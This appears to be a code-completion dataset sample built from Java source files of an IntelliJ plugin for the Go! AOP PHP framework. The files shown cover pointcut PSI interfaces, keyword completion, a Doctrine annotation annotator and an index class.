import com.aopphp.go.pointcut.Pointcut; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface SinglePointcut extends PsiElement {
@Nullable
AccessPointcut getAccessPointcut();
@Nullable
AnnotatedAccessPointcut getAnnotatedAccessPointcut();
@Nullable
AnnotatedExecutionPointcut getAnnotatedExecutionPointcut();
@Nullable
AnnotatedWithinPointcut getAnnotatedWithinPointcut();
@Nullable
CflowbelowPointcut getCflowbelowPointcut();
@Nullable
DynamicExecutionPointcut getDynamicExecutionPointcut();
@Nullable
ExecutionPointcut getExecutionPointcut();
@Nullable
InitializationPointcut getInitializationPointcut();
@Nullable
MatchInheritedPointcut getMatchInheritedPointcut();
@Nullable
PointcutReference getPointcutReference();
@Nullable
StaticInitializationPointcut getStaticInitializationPointcut();
@Nullable
WithinPointcut getWithinPointcut();
| // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
// Path: src/com/aopphp/go/psi/SinglePointcut.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface SinglePointcut extends PsiElement {
@Nullable
AccessPointcut getAccessPointcut();
@Nullable
AnnotatedAccessPointcut getAnnotatedAccessPointcut();
@Nullable
AnnotatedExecutionPointcut getAnnotatedExecutionPointcut();
@Nullable
AnnotatedWithinPointcut getAnnotatedWithinPointcut();
@Nullable
CflowbelowPointcut getCflowbelowPointcut();
@Nullable
DynamicExecutionPointcut getDynamicExecutionPointcut();
@Nullable
ExecutionPointcut getExecutionPointcut();
@Nullable
InitializationPointcut getInitializationPointcut();
@Nullable
MatchInheritedPointcut getMatchInheritedPointcut();
@Nullable
PointcutReference getPointcutReference();
@Nullable
StaticInitializationPointcut getStaticInitializationPointcut();
@Nullable
WithinPointcut getWithinPointcut();
| Pointcut resolveSinglePointcut(); |
goaop/idea-plugin | src/com/aopphp/go/psi/PointcutExpression.java | // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface PointcutExpression extends PsiElement {
@NotNull
ConjugatedExpression getConjugatedExpression();
@Nullable
PointcutExpression getPointcutExpression();
| // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
// Path: src/com/aopphp/go/psi/PointcutExpression.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface PointcutExpression extends PsiElement {
@NotNull
ConjugatedExpression getConjugatedExpression();
@Nullable
PointcutExpression getPointcutExpression();
| Pointcut compile(); |
goaop/idea-plugin | src/com/aopphp/go/completion/PointcutKeywordCompletionProvider.java | // Path: src/com/aopphp/go/completion/insert/PointcutKeywordInsertHandler.java
// public class PointcutKeywordInsertHandler implements InsertHandler<LookupElement> {
//
// private static final PointcutKeywordInsertHandler INSTANCE = new PointcutKeywordInsertHandler();
//
// public void handleInsert(@NotNull InsertionContext context, @NotNull LookupElement lookupElement) {
//
// // reuse jetbrains "use importer": this is private only so we need some workaround
// // to not implement your own algo for that
// PhpReferenceInsertHandler.getInstance().handleInsert(context, lookupElement);
// if(!PhpInsertHandlerUtil.isStringAtCaret(context.getEditor(), "(")) {
// PhpInsertHandlerUtil.insertStringAtCaret(context.getEditor(), "()");
// context.getEditor().getCaretModel().moveCaretRelatively(-1, 0, false, false, true);
// }
// }
//
// public static PointcutKeywordInsertHandler getInstance(){
// return INSTANCE;
// }
// }
| import com.aopphp.go.completion.insert.PointcutKeywordInsertHandler;
import com.intellij.codeInsight.completion.CompletionParameters;
import com.intellij.codeInsight.completion.CompletionProvider;
import com.intellij.codeInsight.completion.CompletionResultSet;
import com.intellij.codeInsight.lookup.LookupElementBuilder;
import com.intellij.psi.PsiElement;
import com.intellij.util.ProcessingContext;
import org.jetbrains.annotations.NotNull; | package com.aopphp.go.completion;
public class PointcutKeywordCompletionProvider extends CompletionProvider<CompletionParameters>
{
private static final String[] POINTCUT_TYPES = new String[]{
"execution",
"access",
"within",
"initialization",
"staticinitialization",
"matchInherited",
};
| // Path: src/com/aopphp/go/completion/insert/PointcutKeywordInsertHandler.java
// public class PointcutKeywordInsertHandler implements InsertHandler<LookupElement> {
//
// private static final PointcutKeywordInsertHandler INSTANCE = new PointcutKeywordInsertHandler();
//
// public void handleInsert(@NotNull InsertionContext context, @NotNull LookupElement lookupElement) {
//
// // reuse jetbrains "use importer": this is private only so we need some workaround
// // to not implement your own algo for that
// PhpReferenceInsertHandler.getInstance().handleInsert(context, lookupElement);
// if(!PhpInsertHandlerUtil.isStringAtCaret(context.getEditor(), "(")) {
// PhpInsertHandlerUtil.insertStringAtCaret(context.getEditor(), "()");
// context.getEditor().getCaretModel().moveCaretRelatively(-1, 0, false, false, true);
// }
// }
//
// public static PointcutKeywordInsertHandler getInstance(){
// return INSTANCE;
// }
// }
// Path: src/com/aopphp/go/completion/PointcutKeywordCompletionProvider.java
import com.aopphp.go.completion.insert.PointcutKeywordInsertHandler;
import com.intellij.codeInsight.completion.CompletionParameters;
import com.intellij.codeInsight.completion.CompletionProvider;
import com.intellij.codeInsight.completion.CompletionResultSet;
import com.intellij.codeInsight.lookup.LookupElementBuilder;
import com.intellij.psi.PsiElement;
import com.intellij.util.ProcessingContext;
import org.jetbrains.annotations.NotNull;
package com.aopphp.go.completion;
public class PointcutKeywordCompletionProvider extends CompletionProvider<CompletionParameters>
{
private static final String[] POINTCUT_TYPES = new String[]{
"execution",
"access",
"within",
"initialization",
"staticinitialization",
"matchInherited",
};
| private static final PointcutKeywordInsertHandler keywordInsertionHandler = PointcutKeywordInsertHandler.getInstance(); |
goaop/idea-plugin | src/com/aopphp/go/psi/MemberModifiers.java | // Path: src/com/aopphp/go/pointcut/MemberAccessMatcherFilter.java
// public class MemberAccessMatcherFilter implements PointFilter {
//
// private static Set<KindFilter> KIND_ALL = new HashSet<KindFilter>(Arrays.asList(KindFilter.values())) ;
// private Set<PhpModifier.Access> allowedAccess;
//
// public MemberAccessMatcherFilter(Set<PhpModifier.Access> allowedAccess) {
//
// this.allowedAccess = allowedAccess;
// }
//
// @Override
// public Set<KindFilter> getKind() {
// return KIND_ALL;
// }
//
// @Override
// public boolean matches(PhpNamedElement element) {
// if (!(element instanceof PhpElementWithModifier)) {
// return false;
// }
// PhpModifier modifier = ((PhpElementWithModifier) element).getModifier();
//
// return allowedAccess.contains(modifier.getAccess());
// }
//
// @Override
// public boolean equals(Object o) {
// if (this == o) return true;
// if (!(o instanceof MemberAccessMatcherFilter)) return false;
//
// MemberAccessMatcherFilter that = (MemberAccessMatcherFilter) o;
//
// return allowedAccess.equals(that.allowedAccess);
// }
//
// @Override
// public int hashCode() {
// return allowedAccess.hashCode();
// }
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.MemberAccessMatcherFilter; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface MemberModifiers extends PsiElement {
@NotNull
List<MemberModifier> getMemberModifierList();
| // Path: src/com/aopphp/go/pointcut/MemberAccessMatcherFilter.java
// public class MemberAccessMatcherFilter implements PointFilter {
//
// private static Set<KindFilter> KIND_ALL = new HashSet<KindFilter>(Arrays.asList(KindFilter.values())) ;
// private Set<PhpModifier.Access> allowedAccess;
//
// public MemberAccessMatcherFilter(Set<PhpModifier.Access> allowedAccess) {
//
// this.allowedAccess = allowedAccess;
// }
//
// @Override
// public Set<KindFilter> getKind() {
// return KIND_ALL;
// }
//
// @Override
// public boolean matches(PhpNamedElement element) {
// if (!(element instanceof PhpElementWithModifier)) {
// return false;
// }
// PhpModifier modifier = ((PhpElementWithModifier) element).getModifier();
//
// return allowedAccess.contains(modifier.getAccess());
// }
//
// @Override
// public boolean equals(Object o) {
// if (this == o) return true;
// if (!(o instanceof MemberAccessMatcherFilter)) return false;
//
// MemberAccessMatcherFilter that = (MemberAccessMatcherFilter) o;
//
// return allowedAccess.equals(that.allowedAccess);
// }
//
// @Override
// public int hashCode() {
// return allowedAccess.hashCode();
// }
// }
// Path: src/com/aopphp/go/psi/MemberModifiers.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.MemberAccessMatcherFilter;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface MemberModifiers extends PsiElement {
@NotNull
List<MemberModifier> getMemberModifierList();
| MemberAccessMatcherFilter getMemberAccessMatcher(); |
goaop/idea-plugin | src/com/aopphp/go/psi/MemberReference.java | // Path: src/com/aopphp/go/pointcut/ClassMemberReference.java
// public class ClassMemberReference implements Serializable {
//
// private final PointFilter classFilter;
// private final MemberAccessMatcherFilter visibilityFilter;
// private final MemberStateMatcherFilter accessTypeFilter;
// private final String memberNamePattern;
//
// public ClassMemberReference(
// PointFilter classFilter,
// MemberAccessMatcherFilter visibilityFilter,
// MemberStateMatcherFilter accessTypeFilter,
// String memberNamePattern
// ) {
//
// this.classFilter = classFilter;
// this.visibilityFilter = visibilityFilter;
// this.accessTypeFilter = accessTypeFilter;
// this.memberNamePattern = memberNamePattern;
// }
//
// public PointFilter getClassFilter() {
// return classFilter;
// }
//
// public MemberAccessMatcherFilter getVisibilityFilter() {
// return visibilityFilter;
// }
//
// public MemberStateMatcherFilter getAccessTypeFilter() {
// return accessTypeFilter;
// }
//
// public String getMemberNamePattern() {
// return memberNamePattern;
// }
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.ClassMemberReference; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface MemberReference extends PsiElement {
@NotNull
ClassFilter getClassFilter();
@NotNull
MemberAccessType getMemberAccessType();
@NotNull
MemberModifiers getMemberModifiers();
@NotNull
NamePattern getNamePattern();
| // Path: src/com/aopphp/go/pointcut/ClassMemberReference.java
// public class ClassMemberReference implements Serializable {
//
// private final PointFilter classFilter;
// private final MemberAccessMatcherFilter visibilityFilter;
// private final MemberStateMatcherFilter accessTypeFilter;
// private final String memberNamePattern;
//
// public ClassMemberReference(
// PointFilter classFilter,
// MemberAccessMatcherFilter visibilityFilter,
// MemberStateMatcherFilter accessTypeFilter,
// String memberNamePattern
// ) {
//
// this.classFilter = classFilter;
// this.visibilityFilter = visibilityFilter;
// this.accessTypeFilter = accessTypeFilter;
// this.memberNamePattern = memberNamePattern;
// }
//
// public PointFilter getClassFilter() {
// return classFilter;
// }
//
// public MemberAccessMatcherFilter getVisibilityFilter() {
// return visibilityFilter;
// }
//
// public MemberStateMatcherFilter getAccessTypeFilter() {
// return accessTypeFilter;
// }
//
// public String getMemberNamePattern() {
// return memberNamePattern;
// }
// }
// Path: src/com/aopphp/go/psi/MemberReference.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.ClassMemberReference;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface MemberReference extends PsiElement {
@NotNull
ClassFilter getClassFilter();
@NotNull
MemberAccessType getMemberAccessType();
@NotNull
MemberModifiers getMemberModifiers();
@NotNull
NamePattern getNamePattern();
| ClassMemberReference getClassMemberReference(); |
goaop/idea-plugin | src/com/aopphp/go/annotator/DoctrineAnnotator.java | // Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
//
// Path: src/com/aopphp/go/psi/NamespaceName.java
// public interface NamespaceName extends PsiElement {
//
// String getFQN();
//
// }
| import com.aopphp.go.pattern.CodePattern;
import com.aopphp.go.psi.NamespaceName;
import com.intellij.lang.annotation.AnnotationHolder;
import com.intellij.lang.annotation.Annotator;
import com.intellij.psi.PsiElement;
import com.intellij.psi.util.PsiTreeUtil;
import com.jetbrains.php.PhpIndex;
import com.jetbrains.php.lang.psi.elements.PhpClass;
import de.espend.idea.php.annotation.util.AnnotationUtil;
import org.jetbrains.annotations.NotNull;
import java.util.Collection; | package com.aopphp.go.annotator;
/**
* Highlights an incorrect usage of doctrine annotations in the annotation pointcuts
*/
public class DoctrineAnnotator implements Annotator {
@Override
public void annotate(@NotNull final PsiElement element, @NotNull AnnotationHolder holder) { | // Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
//
// Path: src/com/aopphp/go/psi/NamespaceName.java
// public interface NamespaceName extends PsiElement {
//
// String getFQN();
//
// }
// Path: src/com/aopphp/go/annotator/DoctrineAnnotator.java
import com.aopphp.go.pattern.CodePattern;
import com.aopphp.go.psi.NamespaceName;
import com.intellij.lang.annotation.AnnotationHolder;
import com.intellij.lang.annotation.Annotator;
import com.intellij.psi.PsiElement;
import com.intellij.psi.util.PsiTreeUtil;
import com.jetbrains.php.PhpIndex;
import com.jetbrains.php.lang.psi.elements.PhpClass;
import de.espend.idea.php.annotation.util.AnnotationUtil;
import org.jetbrains.annotations.NotNull;
import java.util.Collection;
package com.aopphp.go.annotator;
/**
* Highlights an incorrect usage of doctrine annotations in the annotation pointcuts
*/
public class DoctrineAnnotator implements Annotator {
@Override
public void annotate(@NotNull final PsiElement element, @NotNull AnnotationHolder holder) { | if (CodePattern.insideAnnotationPointcut().accepts(element)) { |
goaop/idea-plugin | src/com/aopphp/go/annotator/DoctrineAnnotator.java | // Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
//
// Path: src/com/aopphp/go/psi/NamespaceName.java
// public interface NamespaceName extends PsiElement {
//
// String getFQN();
//
// }
| import com.aopphp.go.pattern.CodePattern;
import com.aopphp.go.psi.NamespaceName;
import com.intellij.lang.annotation.AnnotationHolder;
import com.intellij.lang.annotation.Annotator;
import com.intellij.psi.PsiElement;
import com.intellij.psi.util.PsiTreeUtil;
import com.jetbrains.php.PhpIndex;
import com.jetbrains.php.lang.psi.elements.PhpClass;
import de.espend.idea.php.annotation.util.AnnotationUtil;
import org.jetbrains.annotations.NotNull;
import java.util.Collection; | package com.aopphp.go.annotator;
/**
* Highlights an incorrect usage of doctrine annotations in the annotation pointcuts
*/
public class DoctrineAnnotator implements Annotator {
@Override
public void annotate(@NotNull final PsiElement element, @NotNull AnnotationHolder holder) {
if (CodePattern.insideAnnotationPointcut().accepts(element)) { | // Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
//
// Path: src/com/aopphp/go/psi/NamespaceName.java
// public interface NamespaceName extends PsiElement {
//
// String getFQN();
//
// }
// Path: src/com/aopphp/go/annotator/DoctrineAnnotator.java
import com.aopphp.go.pattern.CodePattern;
import com.aopphp.go.psi.NamespaceName;
import com.intellij.lang.annotation.AnnotationHolder;
import com.intellij.lang.annotation.Annotator;
import com.intellij.psi.PsiElement;
import com.intellij.psi.util.PsiTreeUtil;
import com.jetbrains.php.PhpIndex;
import com.jetbrains.php.lang.psi.elements.PhpClass;
import de.espend.idea.php.annotation.util.AnnotationUtil;
import org.jetbrains.annotations.NotNull;
import java.util.Collection;
package com.aopphp.go.annotator;
/**
* Highlights an incorrect usage of doctrine annotations in the annotation pointcuts
*/
public class DoctrineAnnotator implements Annotator {
@Override
public void annotate(@NotNull final PsiElement element, @NotNull AnnotationHolder holder) {
if (CodePattern.insideAnnotationPointcut().accepts(element)) { | NamespaceName nameHolder = PsiTreeUtil.getParentOfType(element, NamespaceName.class); |
goaop/idea-plugin | src/com/aopphp/go/index/AnnotatedPhpNamedElementIndex.java | // Path: src/com/aopphp/go/util/PluginUtil.java
// public class PluginUtil {
//
// /**
// * Returns a map with php use imports
// *
// * @param psiFile Instance of file, should be PHP
// * @return Mapping of short names to the FQN
// */
// public static Map<String, String> getFileUseImports(PsiFile psiFile) {
//
// // search for use alias in local file
// final Map<String, String> useImports = new HashMap<String, String>();
//
// if (psiFile instanceof PhpFile) {
// for (final PhpNamedElement element : ((PhpFile) psiFile).getTopLevelDefs().values()) {
// if (element instanceof PhpUse) {
// final PhpUse phpUse = (PhpUse) element;
// String alias = phpUse.getAliasName();
// if(alias != null) {
// useImports.put(alias, phpUse.getFQN());
// } else {
// useImports.put(phpUse.getName(), phpUse.getFQN());
// }
// }
// }
// }
//
// return useImports;
// }
//
//
// @Nullable
// public static String getClassNameReference(PhpDocTag phpDocTag) {
// return getClassNameReference(phpDocTag, getFileUseImports(phpDocTag.getContainingFile()));
// }
//
// @Nullable
// public static String getClassNameReference(PhpDocTag phpDocTag, Map<String, String> useImports) {
//
// if(useImports.size() == 0) {
// return null;
// }
//
// String annotationName = phpDocTag.getName();
// if(StringUtils.isBlank(annotationName)) {
// return null;
// }
//
// if(annotationName.startsWith("@")) {
// annotationName = annotationName.substring(1);
// }
//
// String className = annotationName;
// String subNamespaceName = "";
// if(className.contains("\\")) {
// className = className.substring(0, className.indexOf("\\"));
// subNamespaceName = annotationName.substring(className.length());
// }
//
// if(!useImports.containsKey(className)) {
// return null;
// }
//
// // normalize name
// String annotationFqnName = useImports.get(className) + subNamespaceName;
// if(!annotationFqnName.startsWith("\\")) {
// annotationFqnName = "\\" + annotationFqnName;
// }
//
// return annotationFqnName;
//
// }
//
// /**
// * Checks if the given element is aspect
// *
// * @param element Instance of PSI element
// * @return true if element is aspect or false
// */
// public static boolean isAspect(PsiElement element) {
// if (!(element instanceof PhpClass)) {
// return false;
// }
//
// String[] interfaceNames = ((PhpClass) element).getInterfaceNames();
// for (String interfaceName : interfaceNames) {
// if (interfaceName.equals("\\Go\\Aop\\Aspect")) {
// return true;
// }
// }
//
// return false;
// }
// }
| import com.aopphp.go.util.PluginUtil;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFile;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.util.ReflectionUtil;
import com.intellij.util.indexing.*;
import com.intellij.util.io.DataExternalizer;
import com.intellij.util.io.EnumeratorStringDescriptor;
import com.intellij.util.io.KeyDescriptor;
import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment;
import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocTag;
import com.jetbrains.php.lang.psi.PhpFile;
import com.jetbrains.php.lang.psi.elements.PhpNamedElement;
import com.jetbrains.php.lang.psi.stubs.indexes.PhpConstantNameIndex;
import com.jetbrains.php.lang.psi.stubs.indexes.StringSetDataExternalizer;
import gnu.trove.THashSet;
